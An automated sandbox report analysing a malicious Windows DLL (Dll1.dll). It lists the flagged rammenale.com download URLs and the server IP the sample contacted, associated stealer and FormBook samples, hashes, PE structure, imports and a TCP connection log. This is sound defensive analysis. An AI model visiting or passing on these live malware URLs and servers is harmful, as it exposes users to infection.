https://rammenale.com/for2/regit.tmpentindowsINetCookies	rundll32.exe, 00000009.00000002.3272263359.0000000002C81000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtft	rundll32.exe, 00000006.00000002.3272227188.000000000261A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtjx	rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpU	rundll32.exe, 0000000C.00000002.3275204855.0000000009207000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogtxtB	rundll32.exe, 00000005.00000002.3272074755.0000000000247000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpV	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4e	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtm	rundll32.exe, 00000006.00000002.3272227188.000000000261A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtV~	rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogtxt	rundll32.exe, 0000000B.00000002.3272070507.0000000002767000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/Si	rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmpG	rundll32.exe, 00000009.00000002.3272263359.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpH	rundll32.exe, 00000009.00000002.3272263359.0000000002C1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/aclog.txts	rundll32.exe, 00000005.00000002.3272220241.00000000023D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272306421.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp5A	rundll32.exe, 0000000C.00000002.3275204855.00000000091F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtr	rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtp	rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpE	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtWk	rundll32.exe, 00000005.00000002.3274732553.0000000008423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp/	rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp0	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpmp	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp2	rundll32.exe, 00000009.00000002.3272263359.0000000002C81000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtz	rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3274732553.0000000008469000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008499000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.000000000891D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpR0	rundll32.exe, 0000000A.00000002.3272127824.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4T	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtP;	rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4P	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/D	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmp4	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/1p	rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
131.153.206.231	rammenale.com	United States		19437	SS-ASHUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500782
Start date and time:	2024-08-28 22:45:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Dll1.dll
Detection:	MAL
Classification:	mal80.evad.winDLL@20/0@2/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 95% Number of executed functions: 21 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .dll

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 7484 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7748 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Dll1.dll

Simulations

Behavior and APIs

Time	Type	Description
16:45:56	API Interceptor	2x Sleep call for process: rundll32.exe modified
16:45:59	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SS-ASHUS	https://blockchainsolution.netlify.app/	Get hash	malicious	Unknown	Browse	131.153.206.100
	http://blockdag-network-rectification.pages.dev/wallet/inputs.html/js/aes.js	Get hash	malicious	Unknown	Browse	131.153.206.103
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	131.153.100.38
	Bank Slip.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	131.153.147.106
	Fatura20240617.exe	Get hash	malicious	FormBook	Browse	131.153.148.82
	0tkRwEewXq.exe	Get hash	malicious	FormBook	Browse	131.153.170.234
	CMgd5ZVG2N.elf	Get hash	malicious	Unknown	Browse	209.100.21.94
	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	131.153.148.82
	fisher man.exe	Get hash	malicious	FormBook	Browse	131.153.170.234
	SHUYOU #U65b0#U6307#U4ee4 PO-2301010 03-07-2024.pdf.exe	Get hash	malicious	FormBook	Browse	131.153.165.35

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	x64_installer__v4.5.6.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	Ad#U043ebe_Activator.exe	Get hash	malicious	LummaC	Browse	131.153.206.231
	file.exe	Get hash	malicious	Meduza Stealer	Browse	131.153.206.231
	file.exe	Get hash	malicious	Meduza Stealer	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	0eyaBVo6tq.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	2ANivMQUch.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	NmJ4sVw68P.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	7Mr3U9Zd5W.msi	Get hash	malicious	Unknown	Browse	131.153.206.231

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.546303018854267
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Dll1.dll
File size:	147'968 bytes
MD5:	b14ef85a60ac71c669cc960bdf580144
SHA1:	08906644b0ef1ee6478c45a6e0dd28533a9efc29
SHA256:	861911e953e6fd0a015b3a91a7528a388a535c83f4b9a5cf7366b8209d2f00c3
SHA512:	568fd5856c2e3801d59d094429243b6e1649d3b519f8cad0feab2c6752d4158e30d305fe06a651788d7f4420d43886f5dfb4fb43da605f0a718711cb099059e9
SSDEEP:	3072:X3ri+nr4ciRGSuaHUCO25obTBhH5P1KCJN6hkf1GYn3:X3rv2RGPwUC5o3H5PVLln3
TLSH:	E8E36B06B480C072C56E29350574DA726B7FBD30DF64ADCF67980A7A9F702C1CF25A2A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Nnx./.+./.+./.+.W../.+.W../.+.W../.+.W../.+./.+./.+..../.+..../.+.W../.+..../.+..../.+..../.+...+./.+...*./.+Rich./.

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x100031f9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x65C48BD4 [Thu Feb 8 08:07:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2634f378ea222ed85ede1cf7f9951bae

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F960CC3F0E7h
call 00007F960CC3F2BBh
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F960CC3EF93h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F960CC3F7BFh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F960CC3F7A9h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1001B05Ch]
push dword ptr [ebp+08h]
call dword ptr [1001B058h]
push C0000409h
call dword ptr [1001B060h]
push eax
call dword ptr [1001B030h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1001B064h]
test eax, eax
je 00007F960CC3F0E7h
push 00000002h
pop ecx
int 29h
mov dword ptr [10023B40h], eax
mov dword ptr [10023B3Ch], ecx
mov dword ptr [10023B38h], edx
mov dword ptr [10023B34h], ebx
mov dword ptr [10023B30h], esi
mov dword ptr [10023B2Ch], edi
mov word ptr [10023B58h], ss
mov word ptr [10023B4Ch], cs
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x226c0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x22710	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x25000	0x1b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x26000	0x1334	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x21538	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x21478	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19aeb	0x19c00	2ca2786cfbd723012a4c3c12a482da85	False	0.584619614684466	data	6.670313016672894	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x7e7c	0x8000	ca93a188af9bf56b0a61b88270c14a95	False	0.460968017578125	data	5.309007267929745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x23000	0x14b8	0xc00	f2a0c098370b0401f7c1ad1213cd52fb	False	0.15169270833333334	data	2.17074655225428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25000	0x1b0	0x200	4cb59beff4c248d5e23bc9d579cd8ecf	False	0.501953125	data	4.493775023695173	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x26000	0x1334	0x1400	9869f1aab016ea21d38cce363484b1c7	False	0.7552734375	data	6.441486057307813	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x25060	0x14e	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.6407185628742516

Imports

DLL	Import
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
OLEAUT32.dll	VariantClear, VariantInit, SysFreeString, SysAllocString
KERNEL32.dll	FreeLibrary, WriteConsoleW, SetEndOfFile, HeapReAlloc, HeapSize, CreateFileW, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetProcessHeap, ExitProcess, ExpandEnvironmentStringsW, TerminateProcess, Sleep, CloseHandle, GetProcAddress, CreateProcessW, GetModuleHandleW, CopyFileW, GetEnvironmentVariableW, LocalFree, GetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, FreeEnvironmentStringsW, RtlUnwind, RaiseException, InterlockedFlushSList, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, DecodePointer, LoadLibraryExW, ReadFile, MoveFileExW, GetModuleHandleExW, GetModuleFileNameW, SetFilePointerEx, GetConsoleMode, ReadConsoleW, GetStdHandle, GetFileType, HeapFree, HeapAlloc, LCMapStringW, WriteFile, GetConsoleOutputCP, GetFileSizeEx, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW

Exports

Name	Ordinal	Address
mydllmain	1	0x1000101b

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 22:45:55.143811941 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:55.143858910 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:55.143930912 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:55.145370960 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:55.145418882 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:55.145484924 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:55.156755924 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:55.156771898 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:55.157991886 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:55.158011913 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.078687906 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.078716993 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.078809977 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.078814030 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.078883886 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.865137100 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.865163088 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.865509987 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.865641117 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.871886015 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.871911049 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.872271061 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.872328997 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.902126074 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:56.948498964 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:56.953058004 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.000497103 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.120518923 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.120553017 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.120626926 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.129367113 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.129379034 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.148355961 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.148390055 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.148453951 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.161968946 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.161983967 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.240781069 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.240835905 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.240847111 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.240885973 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.240914106 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.240973949 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.241014957 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.242014885 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.242024899 CEST	443	49705	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.242062092 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.242074966 CEST	49705	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.288619995 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.288685083 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.288707972 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.288752079 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.288758039 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.288779974 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.288800955 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.288825035 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.289872885 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.289882898 CEST	443	49704	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.289891958 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.290067911 CEST	49704	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.722307920 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.722347021 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:57.722428083 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.730087996 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:57.730103970 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.098442078 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.098736048 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.102935076 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.102941990 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.103215933 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.103271008 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.105104923 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.105103970 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.105171919 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.109622002 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.109632969 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.109874010 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.110085011 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.111784935 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.152498007 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.152512074 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.620194912 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.620230913 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.620402098 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.631628036 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.631647110 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.701950073 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.702121019 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.702187061 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.703712940 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.703871012 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.703922033 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.706404924 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.706422091 CEST	443	49708	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.706437111 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.706460953 CEST	49708	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.731487989 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.731508017 CEST	443	49709	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:58.731533051 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:58.731554985 CEST	49709	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.563813925 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.563956022 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.568371058 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.568377018 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.568732023 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.568804979 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.570513964 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.603842020 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.603914022 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.609014988 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.609026909 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.609307051 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.609369993 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:45:59.611387014 CEST	49711	443	192.168.2.5	131.153.206.231
